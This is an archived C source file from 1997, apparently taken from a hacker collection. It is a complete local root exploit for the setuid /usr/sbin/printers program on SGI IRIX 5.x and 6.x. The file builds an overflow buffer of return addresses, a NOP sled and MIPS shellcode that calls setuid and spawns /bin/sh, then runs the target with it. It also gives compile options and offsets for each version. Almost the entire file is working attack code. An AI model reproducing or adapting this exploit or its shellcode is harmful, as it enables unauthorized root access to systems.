home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / •New Files / Happle#10 / Files / hack_part2.sit / hack_part2 / irix-printers.c < prev    next >
C/C++ Source or Header  |  1999-05-16  |  4KB  |  117 lines
  1.  
  2. Exploit tested on Irix 5.x (R3000 & R4400), Irix64 6.2 (R8000), Irix 6.3
  3. (R5000). For Irix 6.x you'll have to pass '4' as a parameter or change
  4. the OFFSET to 0x184
  5.  
  6. /* /usr/sbin/printers.c exploit by DCRH 27/5/97
  7.  *
  8.  * Tested on: R3000 Indigo (Irix 5.3)
  9.  *            R4400 Indy   (Irix 5.3)
  10.  *            R8000 PChallenge (Irix64 6.2)
  11.  *            R5000 O2 (Irix 6.3)
  12.  *
  13.  * Change the OFFSET to 0x184 or pass '4' as an argument for Irix 6.x
  14.  *
  15.  * compile as: cc printers.c (Irix 5.x)
  16.  *             cc -n32 printers.c (Irix 6.x)
  17.  */
  18.  
  19. #include <stdio.h>
  20. #include <stdlib.h>
  21. #include <string.h>
  22. #include <sys/types.h>
  23. #include <unistd.h>
  24.  
  25. #define NUM_ADDRESSES   500
  26. #define BUF_LENGTH      500
  27. #define EXTRA           9000
  28. #define OFFSET          0x180      /* 0x184 for Irix 6.x */
  29. #define GP_OFFSET       -0x80
  30. #define IRIX_NOP        0x03e0f825    /* move $ra,$ra */
  31.  
  32. #define u_long unsigned
  33.  
  34. u_long get_sp_code[] = {
  35.     0x03a01025,         /* move $v0,$sp         */
  36.     0x03e00008,         /* jr $ra               */
  37.     0x00000000,         /* nop                  */
  38. };
  39.  
  40. u_long irix_shellcode[] = {
  41.     0x24041234,         /* li $4,0x1234         */
  42.     0x2084edcc,         /* sub $4,0x1234        */
  43.     0x0491fffe,         /* bgezal $4,pc-4       */
  44.     0x03bd302a,         /* sgt $6,$sp,$sp       */
  45.     0x03bd202a,         /* sgt $4,$sp,$sp       */
  46.     0x240203ff,         /* li $v0,1023          */
  47.     0x03ffffcc,         /* syscall 0xfffff      */
  48.     0x23e40138,         /* addi $4,$31,264+48   */
  49.     0xa086feff,         /* sb $6,-264+7($4)     */
  50.     0x2084fef8,         /* sub $4,264           */
  51.     0x20850110,         /* addi $5,$4,264+8     */
  52.     0xaca4fef8,         /* sw $4,-264($5)       */
  53.     0xaca6fefc,         /* sw $4,-260($5)       */
  54.     0x20a5fef8,         /* sub $5, 264          */
  55.     0x240203f3,         /* li $v0,1011          */
  56.     0x03ffffcc,         /* syscall 0xfffff      */
  57.     0x2f62696e,         /* "/bin"               */
  58.     0x2f7368ff,         /* "/sh"                */
  59. };
  60.  
  61. char buf[NUM_ADDRESSES+BUF_LENGTH + EXTRA + 8];
  62.  
  63. void main(int argc, char **argv)
  64. {
  65.     char *env[] = {NULL};
  66.     u_long targ_addr, stack, tmp;
  67.     u_long *long_p;
  68.     int i, code_length = strlen((char *)irix_shellcode)+1;
  69.     u_long (*get_sp)(void) = (u_long (*)(void))get_sp_code;
  70.  
  71.     stack = get_sp();
  72.  
  73.     if (stack & 0x80000000) {
  74.         printf("Recompile with the '-32' option\n");
  75.         exit(1);
  76.     }
  77.  
  78.     long_p =(u_long *)  buf;
  79.     targ_addr = stack + OFFSET;
  80.  
  81.     if (argc > 1)
  82.         targ_addr += atoi(argv[1]);
  83.  
  84.     tmp = (targ_addr + NUM_ADDRESSES + (BUF_LENGTH-code_length)/2) & ~3;
  85.  
  86.     while ((tmp & 0xff000000) == 0 ||
  87.            (tmp & 0x00ff0000) == 0 ||
  88.            (tmp & 0x0000ff00) == 0 ||
  89.            (tmp & 0x000000ff) == 0)
  90.         tmp += 4;
  91.  
  92.     for (i = 0; i < NUM_ADDRESSES/(4*sizeof(u_long)); i++) {
  93.         *long_p++ = tmp;
  94.         *long_p++ = tmp;
  95.         *long_p++ = targ_addr;
  96.         *long_p++ = targ_addr;
  97.     }
  98.  
  99.     for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
  100.         *long_p++ = IRIX_NOP;
  101.  
  102.     for (i = 0; i < code_length/sizeof(u_long); i++)
  103.         *long_p++ = irix_shellcode[i];
  104.  
  105.     tmp = (targ_addr + GP_OFFSET + NUM_ADDRESSES/2) & ~3;
  106.  
  107.     for (i = 0; i < EXTRA / sizeof(u_long); i++)
  108.         *long_p++ = (tmp >> 8) | (tmp << 24);
  109.  
  110.     *long_p = 0;
  111.  
  112.     printf("stack = 0x%x, targ_addr = 0x%x\n", stack, targ_addr);
  113.  
  114.     execle("/usr/sbin/printers", "printers", "-xrm", &buf[2], 0, env);
  115.     perror("execl failed");
  116. }
  117.